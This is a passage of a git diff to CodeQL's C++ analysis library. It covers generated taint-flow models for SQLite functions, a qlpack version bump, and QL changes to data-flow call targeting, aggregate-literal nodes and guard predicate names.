*,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*trace].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_trace", "(sqlite3 *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*pTraceArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_trace_v2", "(sqlite3 *,unsigned int,..(*)(..),void *)", "", "Argument[**3]", "Argument[*0].Field[***pTraceArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_trace_v2", "(sqlite3 *,unsigned int,..(*)(..),void *)", "", "Argument[*3]", "Argument[*0].Field[**pTraceArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_trace_v2", "(sqlite3 *,unsigned int,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*mTrace]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_trace_v2", "(sqlite3 *,unsigned int,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*trace].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_trace_v2", "(sqlite3 *,unsigned int,..(*)(..),void *)", "", "Argument[3]", "Argument[*0].Field[*pTraceArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_transfer_bindings", "(sqlite3_stmt *,sqlite3_stmt *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "sqlite3_uint_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_update_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***pUpdateArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_update_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**pUpdateArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_update_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*xUpdateCallback]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_update_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*pUpdateArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_uri_boolean", "(const char *,sqlite3_filename,const char *,int)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_uri_boolean", "(const char *,sqlite3_filename,const char *,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_uri_boolean", "(const char *,sqlite3_filename,const char *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_uri_int64", "(const char *,sqlite3_filename,const char *,sqlite3_int64)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_uri_int64", "(const char *,sqlite3_filename,const char *,sqlite3_int64)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_uri_int64", "(const char *,sqlite3_filename,const char *,sqlite3_int64)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_uri_key", "(const char *,sqlite3_filename,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_uri_key", "(const char *,sqlite3_filename,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_uri_key", "(const char *,sqlite3_filename,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_uri_parameter", "(const char *,sqlite3_filename,const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_uri_parameter", "(const char *,sqlite3_filename,const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_uri_parameter", "(const char *,sqlite3_filename,const char *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_user_data", "(sqlite3_context *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_user_data", "(sqlite3_context *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "sqlite3_user_data", "(sqlite3_context *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_blob", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_blob", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_bytes16", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_bytes", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_double", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_dup", "(const sqlite3_value *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "sqlite3_value_dup", "(const sqlite3_value *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_value_encoding", "(sqlite3_value *)", "", "Argument[*0].Field[*enc]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_value_frombind", "(sqlite3_value *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_value_int64", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_int", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_numeric_type", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_pointer", "(sqlite3_value *,const char *)", "", "Argument[*0].Field[**z]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_value_pointer", "(sqlite3_value *,const char *)", "", "Argument[*0].Field[*z]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_value_subtype", "(sqlite3_value *)", "", "Argument[*0].Field[*eSubtype]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_value_text16", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_text16", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_text16be", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_text16be", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_text16le", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_text16le", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_text", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_text", "(sqlite3_value *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "sqlite3_value_type", "(sqlite3_value *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_vmprintf", "(const char *,va_list)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_vsnprintf", "(int,char *,const char *,va_list)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_vsnprintf", "(int,char *,const char *,va_list)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_vsnprintf", "(int,char *,const char *,va_list)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_vtab_collation", "(sqlite3_index_info *,int)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "sqlite3_vtab_distinct", "(sqlite3_index_info *)", "", "Argument[*0].Field[*eDistinct]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "sqlite3_vtab_in", "(sqlite3_index_info *,int,int)", "", "Argument[1]", "Argument[*0].Field[*mHandleIn]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_vtab_in_first", "(sqlite3_value *,sqlite3_value **)", "", "Argument[*0].Field[**z].Field[**pOut]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_vtab_in_first", "(sqlite3_value *,sqlite3_value **)", "", "Argument[*0].Field[**z].Field[*pOut]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_vtab_in_next", "(sqlite3_value *,sqlite3_value **)", "", "Argument[*0].Field[**z].Field[**pOut]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_vtab_in_next", "(sqlite3_value *,sqlite3_value **)", "", "Argument[*0].Field[**z].Field[*pOut]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_vtab_on_conflict", "(sqlite3 *)", "", "Argument[*0].Field[*vtabOnConflict]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_vtab_rhs_value", "(sqlite3_index_info *,int,sqlite3_value **)", "", "Argument[1]", "Argument[*0].Field[*aRhs]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_vtab_rhs_value", "(sqlite3_index_info *,int,sqlite3_value **)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "sqlite3_wal_autocheckpoint", "(sqlite3 *,int)", "", "Argument[1]", "Argument[*0].Field[*pWalArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_wal_checkpoint", "(sqlite3 *,const char *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_wal_checkpoint_v2", "(sqlite3 *,const char *,int,int *,int *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_wal_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***pWalArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_wal_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**pWalArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_wal_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*xWalCallback]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_wal_hook", "(sqlite3 *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*pWalArg]", "value", "dfc-generated"] + - ["", "", True, "sqlite3_zipfile_init", "(sqlite3 *,char **,const sqlite3_api_routines *)", "", "Argument[0]", "Argument[*0].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "statecmp", "(config *,config *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "statecmp", "(config *,config *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "statehash", "(config *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "strhash", "(const char *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "strhash", "(const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "tplt_linedir", "(FILE *,int,char *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "tplt_linedir", "(FILE *,int,char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "tplt_print", "(FILE *,lemon *,char *,int *)", "", "Argument[*1].Field[*outname]", "Argument[*1].Field[**outname]", "taint", "dfc-generated"] + - ["", "", True, "tplt_print", "(FILE *,lemon *,char *,int *)", "", "Argument[*3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "tplt_print", "(FILE *,lemon *,char *,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "tplt_print", "(FILE *,lemon *,char *,int *)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "tplt_print", "(FILE *,lemon *,char *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "tplt_skip_header", "(FILE *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "tplt_xfer", "(char *,FILE *,FILE *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "tplt_xfer", "(char *,FILE *,FILE *,int *)", "", "Argument[*1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "tplt_xfer", "(char *,FILE *,FILE *,int *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "tplt_xfer", "(char *,FILE *,FILE *,int *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "tplt_xfer", "(char *,FILE *,FILE *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "useDummyCS", "(void *,sqlite3 *,int,const char *)", "", "Argument[1]", "Argument[*1].Field[**pErr].Field[*db]", "value", "dfc-generated"] + - ["", "", True, "utf8_fromunicode", "(char *,unsigned int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "utf8_fromunicode", "(char *,unsigned int)", "", "Argument[1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "zSkipValidUtf8", "(const char *,int,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "zSkipValidUtf8", "(const char *,int,long)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "zSkipValidUtf8", "(const char *,int,long)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] diff --git a/cpp/ql/lib/qlpack.yml b/cpp/ql/lib/qlpack.yml index b2a830506601..3c3c7102df4b 100644 --- a/cpp/ql/lib/qlpack.yml +++ b/cpp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-all -version: 4.3.1 +version: 5.1.0 groups: cpp dbscheme: semmlecode.cpp.dbscheme extractor: cpp @@ -18,7 +18,7 @@ dependencies: codeql/global-controlflow: ${workspace} dataExtensions: - ext/*.model.yml - - ext/generated/*.model.yml + - ext/generated/**/*.model.yml - ext/deallocation/*.model.yml - ext/allocation/*.model.yml warnOnImplicitThis: true diff --git a/cpp/ql/lib/semmle/code/cpp/Namespace.qll b/cpp/ql/lib/semmle/code/cpp/Namespace.qll index 2e75a783c14f..dc138f67524b 100644 --- a/cpp/ql/lib/semmle/code/cpp/Namespace.qll +++ b/cpp/ql/lib/semmle/code/cpp/Namespace.qll @@ -174,7 +174,27 @@ class UsingDeclarationEntry extends UsingEntry { */ Declaration getDeclaration() { usings(underlyingElement(this), unresolveElement(result), _, _) } - override string toString() { result = "using " + this.getDeclaration().getDescription() } + /** + * Gets the member that is referenced by this using declaration, where the member depends on a + * type template parameter. + * + * For example: + * ``` + * template + * class A { + * using T::m; + * }; + * ``` + * Here, `getReferencedMember()` yields the member `m` of `T`. Observe that, + * as `T` is not instantiated, `m` is represented by a `Literal` and not + * a `Declaration`. + */ + Literal getReferencedMember() { usings(underlyingElement(this), unresolveElement(result), _, _) } + + override string toString() { + result = "using " + this.getDeclaration().getDescription() or + result = "using " + this.getReferencedMember() + } } /** diff --git a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowUtil.qll b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowUtil.qll index 4a8ea4ebd43d..72e742f13aa0 100644 --- a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowUtil.qll +++ b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/DataFlowUtil.qll @@ -98,19 +98,6 @@ class Node extends TNode { /** Gets the location of this element. */ Location getLocation() { none() } // overridden by subclasses - /** - * Holds if this element is at the specified location. - * The location spans column `startcolumn` of line `startline` to - * column `endcolumn` of line `endline` in file `filepath`. - * For more information, see - * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). - */ - deprecated predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - this.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) - } - /** * Gets an upper bound on the type of this node. */ diff --git a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/FlowSummaryImpl.qll b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/FlowSummaryImpl.qll index 5ba1db044290..58c3dfdea16b 100644 --- a/cpp/ql/lib/semmle/code/cpp/dataflow/internal/FlowSummaryImpl.qll +++ b/cpp/ql/lib/semmle/code/cpp/dataflow/internal/FlowSummaryImpl.qll @@ -22,7 +22,11 @@ module Input implements InputSig { ArgumentPosition callbackSelfParameterPosition() { result = TDirectPosition(-1) } - ReturnKind getStandardReturnValueKind() { result.(NormalReturnKind).getIndirectionIndex() = 0 } + ReturnKind getStandardReturnValueKind() { result = getReturnValueKind("") } + + ReturnKind getReturnValueKind(string arg) { + arg = repeatStars(result.(NormalReturnKind).getIndirectionIndex()) + } string encodeParameterPosition(ParameterPosition pos) { result = pos.toString() } diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll index e517a75edf97..39cc58d54b0e 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll @@ -1143,6 +1143,10 @@ private newtype TDataFlowCall = FlowSummaryImpl::Private::summaryCallbackRange(c, receiver) } +private predicate summarizedCallableIsManual(SummarizedCallable sc) { + sc.asSummarizedCallable().applyManualModel() +} + /** * A function call relevant for data flow. This includes calls from source * code and calls inside library callables with a flow summary. @@ -1164,15 +1168,27 @@ class DataFlowCall extends TDataFlowCall { Function getStaticCallSourceTarget() { none() } /** - * Gets the target of this call. If a summarized callable exists for the - * target this is chosen, and otherwise the callable is the implementation - * from the source code. + * Gets the target of this call. We use the following strategy for deciding + * between the source callable and a summarized callable: + * - If there is a manual summary then we always use the manual summary. + * - If there is a source callable and we only have generated summaries + * we use the source callable. + * - If there is no source callable then we use the summary regardless of + * whether is it manual or generated. */ - DataFlowCallable getStaticCallTarget() { + final DataFlowCallable getStaticCallTarget() { exists(Function target | target = this.getStaticCallSourceTarget() | - not exists(TSummarizedCallable(target)) and + // Don't use the source callable if there is a manual model for the + // target + not exists(SummarizedCallable sc | + sc.asSummarizedCallable() = target and + summarizedCallableIsManual(sc) + ) and result.asSourceCallable() = target or + // When there is no function body, or when we have a manual model then + // we dispatch to the summary. + (not target.hasDefinition() or summarizedCallableIsManual(result)) and result.asSummarizedCallable() = target ) } @@ -1887,6 +1903,10 @@ module IteratorFlow { predicate allowFlowIntoUncertainDef(IteratorSsa::UncertainWriteDefinition def) { any() } class Guard extends Void { + predicate hasBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) { + none() + } + predicate controlsBranchEdge( SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch ) { diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll index 62ad9f02fe29..ab6a9da6d85d 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll @@ -538,19 +538,6 @@ class Node extends TIRDataFlowNode { none() // overridden by subclasses } - /** - * Holds if this element is at the specified location. - * The location spans column `startcolumn` of line `startline` to - * column `endcolumn` of line `endline` in file `filepath`. - * For more information, see - * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). - */ - deprecated predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - this.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn) - } - /** Gets a textual representation of this element. */ cached final string toString() { diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/ExprNodes.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/ExprNodes.qll index c2b89a67f692..42ab60eced78 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/ExprNodes.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/ExprNodes.qll @@ -45,6 +45,28 @@ private module Cached { ) } + private Expr getRankedElementExpr(ArrayAggregateLiteral aggr, int rnk) { + result = + rank[rnk + 1](Expr e, int elementIndex, int position | + e = aggr.getElementExpr(elementIndex, position) + | + e order by elementIndex, position + ) + } + + private class LastArrayAggregateStore extends StoreInstruction { + ArrayAggregateLiteral aggr; + + LastArrayAggregateStore() { + exists(int rnk | + this.getSourceValue().getUnconvertedResultExpression() = getRankedElementExpr(aggr, rnk) and + not exists(getRankedElementExpr(aggr, rnk + 1)) + ) + } + + ArrayAggregateLiteral getArrayAggregateLiteral() { result = aggr } + } + private Expr getConvertedResultExpressionImpl0(Instruction instr) { // IR construction inserts an additional cast to a `size_t` on the extent // of a `new[]` expression. The resulting `ConvertInstruction` doesn't have @@ -95,6 +117,16 @@ private module Cached { tco.producesExprResult() and result = asDefinitionImpl0(instr) ) + or + // IR construction breaks an array aggregate literal `{1, 2, 3}` into a + // sequence of `StoreInstruction`s. So there's no instruction `i` for which + // `i.getUnconvertedResultExpression() instanceof ArrayAggregateLiteral`. + // So we map the instruction node corresponding to the last `Store` + // instruction of the sequence to the result of the array aggregate + // literal. This makes sense since this store will immediately flow into + // the indirect node representing the array. So this node does represent + // the array after it has been fully initialized. + result = instr.(LastArrayAggregateStore).getArrayAggregateLiteral() } private Expr getConvertedResultExpressionImpl(Instruction instr) { @@ -264,6 +296,41 @@ private module Cached { e = getConvertedResultExpression(node.asInstruction(), n) } + /** + * The IR doesn't have an instruction `i` for which this holds: + * ``` + * i.getUnconvertedResultExpression() instanceof ClassAggregateLiteral + * ``` + * and thus we don't automatically get a dataflow node for which: + * ``` + * node.asExpr() instanceof ClassAggregateLiteral + * ``` + * This is because the IR represents a `ClassAggregateLiteral` as a sequence + * of field writes. To work around this we map `asExpr` on the + * `PostUpdateNode` for the last field write to the class aggregate literal. + */ + private class ClassAggregateInitializerPostUpdateNode extends PostFieldUpdateNode { + ClassAggregateLiteral aggr; + + ClassAggregateInitializerPostUpdateNode() { + exists(Node node1, FieldContent fc, int position, StoreInstruction store | + store.getSourceValue().getUnconvertedResultExpression() = + aggr.getFieldExpr(fc.getField(), position) and + node1.asInstruction() = store and + // This is the last field write from the aggregate initialization. + not exists(aggr.getFieldExpr(_, position + 1)) and + storeStep(node1, fc, this) + ) + } + + ClassAggregateLiteral getClassAggregateLiteral() { result = aggr } + } + + private predicate exprNodeShouldBePostUpdateNode(Node node, Expr e, int n) { + node.(ClassAggregateInitializerPostUpdateNode).getClassAggregateLiteral() = e and + n = 0 + } + /** Holds if `node` should be an `IndirectInstruction` that maps `node.asIndirectExpr()` to `e`. */ private predicate indirectExprNodeShouldBeIndirectInstruction( IndirectInstruction node, Expr e, int n, int indirectionIndex @@ -294,7 +361,8 @@ private module Cached { exprNodeShouldBeInstruction(_, e, n) or exprNodeShouldBeOperand(_, e, n) or exprNodeShouldBeIndirectOutNode(_, e, n) or - exprNodeShouldBeIndirectOperand(_, e, n) + exprNodeShouldBeIndirectOperand(_, e, n) or + exprNodeShouldBePostUpdateNode(_, e, n) } private class InstructionExprNode extends ExprNodeBase, InstructionNode { @@ -442,6 +510,12 @@ private module Cached { final override Expr getConvertedExpr(int n) { exprNodeShouldBeIndirectOperand(this, result, n) } } + private class PostUpdateExprNode extends ExprNodeBase instanceof PostUpdateNode { + PostUpdateExprNode() { exprNodeShouldBePostUpdateNode(this, _, _) } + + final override Expr getConvertedExpr(int n) { exprNodeShouldBePostUpdateNode(this, result, n) } + } + /** * An expression, viewed as a node in a data flow graph. */ diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll index bea6b68d5119..7799081eae34 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll @@ -991,13 +991,17 @@ private module DataFlowIntegrationInput implements SsaImpl::DataFlowIntegrationI class Guard instanceof IRGuards::IRGuardCondition { string toString() { result = super.toString() } - predicate controlsBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) { + predicate hasBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) { exists(EdgeKind kind | super.getBlock() = bb1 and kind = getConditionalEdge(branch) and bb1.getSuccessor(kind) = bb2 ) } + + predicate controlsBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) { + this.hasBranchEdge(bb1, bb2, branch) + } } predicate guardDirectlyControlsBlock(Guard guard, SsaInput::BasicBlock bb, boolean branch) { diff --git a/cpp/ql/lib/semmle/code/cpp/ir/internal/IRCppLanguage.qll b/cpp/ql/lib/semmle/code/cpp/ir/internal/IRCppLanguage.qll index 681e2838ffbe..28bbd40f8bf5 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/internal/IRCppLanguage.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/internal/IRCppLanguage.qll @@ -67,8 +67,13 @@ class Class = Cpp::Class; // Used for inheritance conversions predicate hasCaseEdge(string minValue, string maxValue) { hasCaseEdge(_, minValue, maxValue) } predicate hasPositionalArgIndex(int argIndex) { - exists(Cpp::FunctionCall call | exists(call.getArgument(argIndex))) or + exists(Cpp::FunctionCall call | exists(call.getArgument(argIndex))) + or exists(Cpp::BuiltInOperation op | exists(op.getChild(argIndex))) + or + // Ensure we are always able to output the argument of a call to the delete operator. + exists(Cpp::DeleteExpr d) and + argIndex = 0 } predicate hasAsmOperandIndex(int operandIndex) { diff --git a/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticCFG.qll b/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticCFG.qll index 5123434a35c8..8f164aa1b697 100644 --- a/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticCFG.qll +++ b/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticCFG.qll @@ -10,7 +10,7 @@ private import SemanticExprSpecific::SemanticExprConfig as Specific */ class SemBasicBlock extends Specific::BasicBlock { /** Holds if this block (transitively) dominates `otherblock`. */ - final predicate bbDominates(SemBasicBlock otherBlock) { Specific::bbDominates(this, otherBlock) } + final predicate dominates(SemBasicBlock otherBlock) { Specific::bbDominates(this, otherBlock) } /** Gets an expression that is evaluated in this basic block. */ final SemExpr getAnExpr() { result.getBasicBlock() = this } diff --git a/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticExprSpecific.qll b/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticExprSpecific.qll index 1b83ae959d2c..224f968ce693 100644 --- a/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticExprSpecific.qll +++ b/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticExprSpecific.qll @@ -264,10 +264,6 @@ module SemanticExprConfig { Guard comparisonGuard(Expr e) { getSemanticExpr(result) = e } - predicate implies_v2(Guard g1, boolean b1, Guard g2, boolean b2) { - none() // TODO - } - /** Gets the expression associated with `instr`. */ SemExpr getSemanticExpr(IR::Instruction instr) { result = instr } } diff --git a/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticGuard.qll b/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticGuard.qll index 14755d59f5b4..a28d03a0666c 100644 --- a/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticGuard.qll +++ b/cpp/ql/lib/semmle/code/cpp/rangeanalysis/new/internal/semantic/SemanticGuard.qll @@ -18,11 +18,11 @@ class SemGuard instanceof Specific::Guard { Specific::equalityGuard(this, e1, e2, polarity) } - final predicate directlyControls(SemBasicBlock controlled, boolean branch) { + final predicate controls(SemBasicBlock controlled, boolean branch) { Specific::guardDirectlyControlsBlock(this, controlled, branch) } - final predicate hasBranchEdge(SemBasicBlock bb1, SemBasicBlock bb2, boolean branch) { + final predicate controlsBranchEdge(SemBasicBlock bb1, SemBasicBlock bb2, boolean branch) { Specific::guardHasBranchEdge(this, bb1, bb2, branch) } @@ -31,8 +31,4 @@ class SemGuard instanceof Specific::Guard { final SemExpr asExpr() { result = Specific::getGuardAsExpr(this) } } -predicate semImplies_v2(SemGuard g1, boolean b1, SemGuard g2, boolean b2) { - Specific::implies_v2(g1, b1, g2, b2) -} - SemGuard 